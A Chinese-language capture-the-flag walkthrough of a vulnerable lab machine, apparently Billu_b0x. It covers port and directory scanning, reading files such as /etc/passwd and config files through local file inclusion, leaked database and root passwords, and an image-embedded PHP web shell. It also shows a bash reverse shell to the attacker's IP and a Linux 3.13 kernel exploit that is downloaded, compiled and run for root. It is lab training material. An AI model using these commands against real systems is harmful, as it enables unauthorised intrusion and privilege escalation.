信息收集
使用arp-scan 生成網絡接口地址來查看ip
輸入命令:
arp-scan -l
可以查看到我們的目標ip為192.168.187.153
nmap掃描端口開放
輸入命令:
nmap -min-rate 10000 -p- 192.168.187.153
可以看到開放2個端口
nmap掃描端口信息
輸入命令:
nmap -sC -sT -A -p 22,80 192.168.187.153
nmap漏洞腳本掃描
輸入命令:
nmap --script=vuln 192.168.187.153
這里沒有掃描可以利用的信息
查看web端
頁面上有一個登錄的地方,但是還不知道密碼,不過提示了一句向我展示你的sql技巧,看樣子是想讓我們使用sql注入
掃描子目錄
輸入命令:
dirsearch -u http://192.168.187.153
可以發現一些子目錄
輸入命令:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html -u http://192.168.187.153 -t 50
這里也看到了一些子目錄,等下訪問看看
這個目錄下查看到phpinfo()信息
查看php配置信息
在這個下面可以看到allow_url_fopen是on狀態,可以允許本地文件包含
發現登錄頁面
這里看到了另一個新的頁面,但是我們現在沒有密碼,先去找密碼
發現文件包含頁面
這里的test目錄下看到了一個新的提示
翻譯內容,看來是要我們加上file參數,有可能這里就是文件包含的位置,試一下
構造url語句
get請求驗證
我們先嘗試了get請求下的文件包含語句,但是發現沒有成功
http://192.168.187.153/test.php?file=../../../etc/passwd
post請求驗證
接下來嘗試一下post請求的文件包含語句。這里可以使用bp來實現,也可以在kali中借助curl這個工具實現,這里使用的后者
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=…/…/…/etc/passwd
發現成功回顯了信息,證明確實是存在本地文件包含
利用文件包含讀取文件信息
既然已經證實存在了文件包含,那我們可以讀取很多之前看不到的文件的信息了
查看add.php
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=add.php
add.php是一個上傳界面,但是功能無法使用,查看源碼文件發現只是個頁面,沒有后臺處理代碼
拿到數據庫的密碼信息
查看c.php
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=c.php
在這里看到了疑似數據庫的連接用戶名和密碼,等下可以去查看一下
billu:b0x_billu
登錄數據庫
返回phpmy頁面嘗試登錄,發現成功登錄。
發現版本信息
這里在右下角發現了很多版本的信息
發現用戶信息
然后在這個位置又找到了一組登錄的信息
biLLu:hEx_it
滲透思路
這里我們有三種思路可選
- 可以從phpmyadmin的版本入手,查找有無對應的漏洞
輸入命令:
searchsploit phpMyAdmin 3.4.7
但是沒有找到,所以這條路行不通
- phpmyadmin的相關配置文件一般都是config.inc.php
在我們當前可以利用文件包含閱讀其他文件的基礎上,我們可以查看這個配置文件中的內容和信息。可以猜測一下,這個配置文件的存放
位置就是在 phpMy的目錄下,通過URL猜測路徑默認在/var/www/phpmy下面
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/phpmy/config.inc.php
直接發現了root用戶的登錄密碼(我人傻了。這么簡單嗎,sql注入沒用呢,主頁面還沒有登錄呢,我勒個去!!!)
root:roottoor
嘗試ssh登錄
直接試試ssh登錄root用戶(還是很懷疑是不是有這么簡單)
輸入命令:
ssh root@192.168.187.153
輸入密碼roottoor 發現成功登錄,然后直接找flag就行(我已經人傻了)
- 第三種就是正常思路了,可以去主頁面登錄用戶名的信息,然后繼續去做就可以
登錄主頁面
雖然上面的方法已經成功拿到了root權限,但是還是想著繼續從其他方向突破試試那我們就回到主頁面登錄嘗試一下,然后發現成功登錄
這里登錄進來后,又看到了文件上傳的地點
制作圖片木馬
嘗試過了weevely的加密木馬,無法連接,所以還是老老實實反彈shell吧,準備好一張可以上傳的圖片,可以提前試一下,然后準備好我們的php文件,配置好ip和端口
輸入命令:
cat 1.gif 123.php > 2.gif
成功合成了圖片
上傳圖片木馬
點擊上傳后,發現成功上傳
現在先開啟監聽
結合之前掃描到的子目錄,我們可以推測照片在uploaded_images/這個目錄下,打開發現果然存在
我們打開我們上傳的圖片木馬,回到kali中可以看到并沒有反彈成功,可見直接打開圖片,并不會執行代碼
利用文件包含執行圖片木馬中的php語句
這里我們可以使用文件包含來執行圖片里的php語句
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=/var/www/uploaded_images/3.gif
但是kali中無法反彈成功
查詢文件包含的函數
這里不知道為什么失敗,查詢一下當前頁面的文件包含函數是什么
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=test.php
發現是readfile()這個參數
經過上網搜查readfile的功能,是屬于任意文件讀取**。**無法執行php代碼。所以我們上傳的php反彈語句無法執行
漏洞挖掘
然后這里實在是沒思路了,后來找了半天問了一下大佬,才知道在panel.php這個頁面中存在本地文件包含漏洞
我們查看一下這個文件
輸入命令:
curl -X POST http://192.168.187.153/test.php -d file=panel.php
發現了include()這個函數,那我們可以在這里進行一個文件包含漏洞的利用
構造一句話木馬
還是利用圖片木馬的原理,不過這次我們需要構造一句話木馬
再次合成圖片木馬
輸入命令:
cat 1.gif shell.php > 4.gif
上傳圖片木馬
顯示上傳成功
文件包含漏洞利用
上傳成功了,那我們就先試試有沒有效果,bp抓包一下,load=/uploaded_images/4.gif&continue=continue
上面的cmd配置為cmd=cat%20/etc/passwd;ls 這里的空格必須使用url編碼才能執行成功,然后在右面也可以看到返回值
那我們先開啟監聽
配置反彈語句
echo “bash -i >& /dev/tcp/192.168.187.128/8888 0>&1” | bash
由于之前就實驗了必須使用url編碼才能夠執行語句,所以我們先將語句進行url編碼
然后在bp中執行這段語句
執行以后就可以發現反彈shell成功了
提權思路
這里提權思路有這幾種
sudo提權,suid提權,內核漏洞提權,計劃任務提權
正常情況下,我們肯定是要一個個去試試的,對于這個靶機而言,經過嘗試后,最終要使用的提權方法為內核漏洞提權
查找內核信息
輸入命令:
uname -a
輸入命令:
cat /etc/issue.net
查找漏洞
然后去查找有無對應的漏洞
輸入命令:
searchsploit linux 3.13
這里找到了一個符合條件的漏洞文件,拿來試試
漏洞利用
首先將這個文件拷貝到桌面上
輸入命令:
searchsploit -m 37292.c
然后開啟http臨時服務
輸入命令:
python3 -m http.server 80
在靶機中使用wget命令下載文件(最好在/tmp目錄下)
查看一下文件是否傳輸成功,發現沒有問題
提權成功
編譯,賦權,執行
輸入命令:
gcc 37292.c -o exp
chmod 777 exp
./exp
執行完以后就發現已經是root權限了